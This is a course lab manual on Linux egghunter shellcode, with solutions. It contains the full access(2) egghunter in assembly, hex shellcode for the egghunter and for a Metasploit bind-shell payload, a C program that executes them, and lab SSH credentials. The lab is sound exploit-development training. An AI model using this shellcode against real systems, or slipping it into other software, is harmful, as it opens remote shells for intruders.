0% found this document useful (0 votes)
15 views

Lab13 Linux Shellcoding

This document discusses Linux egghunter shellcodes. It provides background on egghunter shellcodes and their usefulness for small buffer overflows. It then outlines tasks for understanding the assembly of an access(2) egghunter variant, extracting its shellcode, and creating a program to test egghunter shellcodes. The document provides information on tools, the test environment, and example shellcode payloads to use.

Uploaded by

Saw Gyi
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
15 views

Lab13 Linux Shellcoding

This document discusses Linux egghunter shellcodes. It provides background on egghunter shellcodes and their usefulness for small buffer overflows. It then outlines tasks for understanding the assembly of an access(2) egghunter variant, extracting its shellcode, and creating a program to test egghunter shellcodes. The document provides information on tools, the test environment, and example shellcode payloads to use.

Uploaded by

Saw Gyi
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 14

Linux Shellcoding

LAB 13

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 1


SCENARIO
Your red team manager, asked you to get familiar with Linux egghunter shellcodes. An
egghunter shellcode can prove extremely helpful in case of an overflow where the available
buffer size is too small to accomodate traditional shellcode payloads.

An egghunter shellcode scans/iterates through the virtual address space searching for a pre-
defined pattern. Once this pattern is located the subsequent instructions in memory are
executed (the execution flow is redirected there). These instructions are the exploit’s
payload. For an egghunter shellcode to be effective, there must be an alternative way to store
a payload in memory (since the original way provides us with limited buffer space). You will
see such cases in the Windows exploit development section (yes, egghunters are applicable
on Windows as well).

To dive deeper into the concept of egghunters please study the below resource:
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

Your tasks are:

1. Understand all assembly steps of the access(2) egghunter variant (look into the
paper above) and how it can be built from scratch
2. Extract this variant’s shellcode
3. Create an egghunter shellcode-testing program in C, that will search for the pre-
defined pattern/tag in memory and once it locates it it will execute an MSF
bind_tcp shellcode

You will be given access to an Ubuntu (32-bit) machine (172.16.172.151) that features
everything you need. You can use it for compiling, debugging and testing purposes.

GOALS

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 2


• Understand how the access(2) egghunter variant can be built in Assembly
• See how the access(2) egghunter variant works in action through a shellcode-testing
C program.

WHAT YOU WILL LEARN


• The mechanics behind the access(2) egghunter shellcode
• Extracting and using an egghunter shellcode

RECOMMENDED TOOLS
• nasm
• gcc
• objdump
• netcat

NETWORK CONFIGURATION &


CREDENTIALS
• Penetration tester’s Subnet: 172.16.172.0/24

• Vulnerable machine: 172.16.172.151

• Connection Type: SSH

Username: xdev
Password: xdev

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 3


TASKS
TASK 1: LEARN ABOUT MEMORY PAGES ON 32-BIT
LINUX SYSTEMS AND THE ACCESS SYSTEM CALL
In order to search within a 32-bit Linux system’s memory, you first need to understand
how the memory pages are laid out. Refer to the following source to learn more about
this subject. https://manybutfinite.com/post/how-the-kernel-manages-your-memory/

As far as the access syscall is concerned, we can learn more about it by issuing a man 2
access command.

TASK 2: UNDERSTAND ALL ACCESS(2) EGGHUNTER’S


MECHANICS AND CONSTRUCT IT IN ASSEMBLY FROM
SCRATCH
As we already covered, the Assembly language is the closest thing to shellcoding. After
studying the mechanics of the access(2) egghunter variant, try to construct it from
scratch in Assembly.

TASK 3: EXTRACT THE SHELLCODE OF THE ACCESS (2)


EGGHUNTER VARIANT
Utilize, objdump to extract the shellcode of the access(2) egghunter variant from the
egghunter’s Assembly implementation.

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 4


TASK 4: CREATE AN EGGHUNTER-SHELLCODE-TESTING
PROGRAM IN C

Create an egghunter-shellcode-testing program in c, that will search for the pre-defined egg
in memory and once it locates it it will execute an MSF-created bind_tcp shellcode.

The extracted egghunter shellcode (from Task 3) is:

\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\
xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\x
e2

MSF’s bind_tcp shellcode (port 1234) is:

\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68
\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb
3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x7
9\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b
\xcd\x80

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 5


SOLUTIONS

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 6


Below, you can find solutions for each task. Remember though that you can follow your
own strategy (which may be different from the one explained in the following lab).

TASK 1: LEARN ABOUT MEMORY PAGES ON 32-BIT


LINUX SYSTEMS AND THE ACCESS SYSTEM CALL
https://manybutfinite.com/post/how-the-kernel-manages-your-memory/ mentions that
Linux maps the user portion of the virtual address space using 4KB pages. This means that
for example, bytes ranging from 0 to 4095 fall in page 0.

Egghunter shellcodes search through memory pages looking for the pre-defined
egg/tag/pattern. At this point, it should be noted that if we instruct the egghunter shellcode
to look for the egg in page 0 and the utilized syscall returns an exit code that informs us of
insufficient memory page access rights, we can skip the current page and proceed to the next
one.

The access syscall is being used by the access(2) egghunter variant, as follows.

• According to its man page, access checks if the calling process (the egghunter) can
access the file pathname.
• access’s arguments are int access(const char *pathname, int mode);
where const char *pathname is a location in memory to check (ebx register) and int
mode will be F_OK which has a value of 0 (ecx register)
• Portions of the eax register are being used by syscalls to store their exit codes. The
exit code of not accessible memory (EFAULT) is 14. Upon the system call’s return, the
low byte of the eax register (which holds the return value from the system call) can
be compared against 0xf2 (which represents the low byte of EFAULT return value). If
the result is a match, the zero flag will be set. In that case, we can skip this page (not
accessible) and proceed to the next one. If access returns any other value, the
egghunter should keep searching/iterating through this page since it will be
accessible.

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 7


Note: The egg should be prepended to the actual shellcode twice. Doing so will ensure that
the egghunter doesn’t stop to a similar pattern that may reside in memory by chance
(uniqueness). A repeated egg is also good for performance purposes.

TASK 2: UNDERSTAND ALL ACCESS(2) EGGHUNTER’S


MECHANICS AND CONSTRUCT IT IN ASSEMBLY FROM
SCRATCH
Let’s start with a basic Assembly layout and then, we will try to construct the access(2)
egghunter based on the provided paper that describes its mechanics. Note that this is just
one approach, there are multiple ways to implement what the paper describes.

global _start

section .txt
_start:

Then, let’s store the egg (\x90\x50\x90\x50\) in a register.

global _start

section .txt
_start:

mov ebx, 0x50905090

Let’s now clear the ecx, eax and edx registers. This can be done through the mul opcode. The
mul opcode will multiply its operand against the eax register and store the result in eax and
edx. In this occasion multiplication will occur by 0 and as a result 0 will be stored in both eax
and edx.

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 8


The above can be implemented in Assembly, as follows.

xor ecx, ecx


mul ecx

As already mentioned, we will skip pages of memory that the egghunter cannot access (al =
0xf2) and proceed to the next one. Some page alignment should take place. Specifically,
something like add dx, 4095 needs to be implemented, followed by a inc edx later on (4096
is 0x1000 in hex, introducing a NULL byte is not a good idea). In Assembly, this can be done
within a function, as follows.

page_alignment:
or dx, 0xfff ; this is the same as "add dx, 4095"

As discussed, edx should be incremented by one (so that we get a multiple of 4096).

Our current register values should also be pushed onto the stack for later use during syscalls.
The pushad opcode is perfect for that.

Next, we will need to check if the bytes where the access’s const char *pathname argument
points to are accessible and their contents as well (ebx should contain the address of edx+4).
Finally, the system call number for accept is 33 (0x21), this needs to be loaded into al (as
explained in Task 1).

All the above can be implemented within an Assembly function, as follows.

address_inspection:
inc edx
pushad
lea ebx, [edx +4]
mov al, 0x21
int 0x80

So far we have declared two functions page_alignment and address_inspection.

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 9


To proceed further, we will focus on the return code of accept and also restore the registers
through pops (their syscall-related duty is done). If al contains 0xf2, then an EFAULT was
encountered indicating that the current memory page cannot be accessed. In this case, we
will have to JMP to our page_alignment function and proceed to the next page. If the memory
page can be accessed by the egghunter, then, we will have to compare the values of edx and
ebx (ebx contains the egg). If the two values don’t match, we will have to JMP to our
address_inspection function and keep iterating through the current memory page. If the two
values match, then we will have to see if this is also the case for [edx]+4 (remember the we
have to prepend the egg twice). All comparisons can be executed through the CMP opcode.
If both CMP calls result in zeroes, then we will have to JMP to edx, which points to the actual
payload. All the above can be implemented in Assembly, as follows.

cmp al, 0xf2


popad
jz page_alignment

cmp [edx], ebx


jnz address_inspection

cmp [edx+4], ebx


jnz address_inspection

jmp edx

The complete Assembly implementation of the access(2) egghunter variant, is the below.

global _start

section .text
_start:

mov ebx, 0x50905090


xor ecx, ecx
mul ecx

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 10


page_alignment:
or dx, 0xfff

address_inspection:
inc edx
pushad
lea ebx, [edx+4]
mov al, 0x21
int 0x80

cmp al, 0xf2


popad
jz page_alignment

cmp [edx], ebx


jnz address_inspection

cmp [edx+4], ebx


jnz address_inspection

jmp edx

TASK 3: EXTRACT THE SHELLCODE OF THE ACCESS (2)


EGGHUNTER VARIANT
As we already now, in order to extract shellcode from an Assembly implementation, we first
need to assemble what was implemented.

Transfer the access(2) egghunter’s Assembly implementation to the 172.16.172.151


machine. Place it on the xdev user’s Desktop directory. The SSH credentials are in section 5.
NETWORK CONFIGURATION & CREDENTIALS of this lab manual.

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 11


If we name the access(2) egghunter’s Assembly implementation egghunter.nasm, then we
need to perform the following.

cd Desktop/
nasm -f elf32 -o egghunter.o egghunter.nasm

Now the access(2) egghunter’s shellcode can be extracted, as follows.

objdump -d egghunter.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6


-d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed
's/^/"/'|sed 's/$/"/g'

TASK 4: CREATE AN EGGHUNTER-SHELLCODE-TESTING


PROGRAM IN C
Find below a C program (shellcode_tester.c), , that will search for the pre-defined egg in
memory and once it locates it, it will execute an MSF-created bind_tcp shellcode (port 1234).
Notice that we prepended the egg (\x90\x50\x90\x50\) twice on the bind_tcp shellcode.

#include <stdio.h>

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 12


#include <string.h>

unsigned char hunter[] =


"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04
\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\
xe2";
unsigned char bind[] =
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1
\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a\
x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x
59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8
9\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
printf("Egg hunter length: %d\n", strlen(hunter));
printf("Shellcode length: %d\n", strlen(bind));

void (*s)() = (void *)hunter;


s();

return 0;
}

The above can be compiled, as follows.

gcc shellcode_tester.c -fno-stack-protector -z execstack -o shellcode_tester

Let’s test this, as follows.

From within the SSH terminal, execute the compiled shellcode_tester binary.

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 13


If everything went as expected, the egghunter shellcode should have identified the egg and
executed the MSF-created bind shellcode.

From inside our host (not the SSH terminal) let’s see if we can connect to the (supposedly)
bound port 1234, using netcat, as follows.

nc 172.16.172.151 1234

It looks like, the egghunter shellcode worked as expected.

© 2019 Caendra Inc. | Hera for XDS | Linux Shellcoding 14

You might also like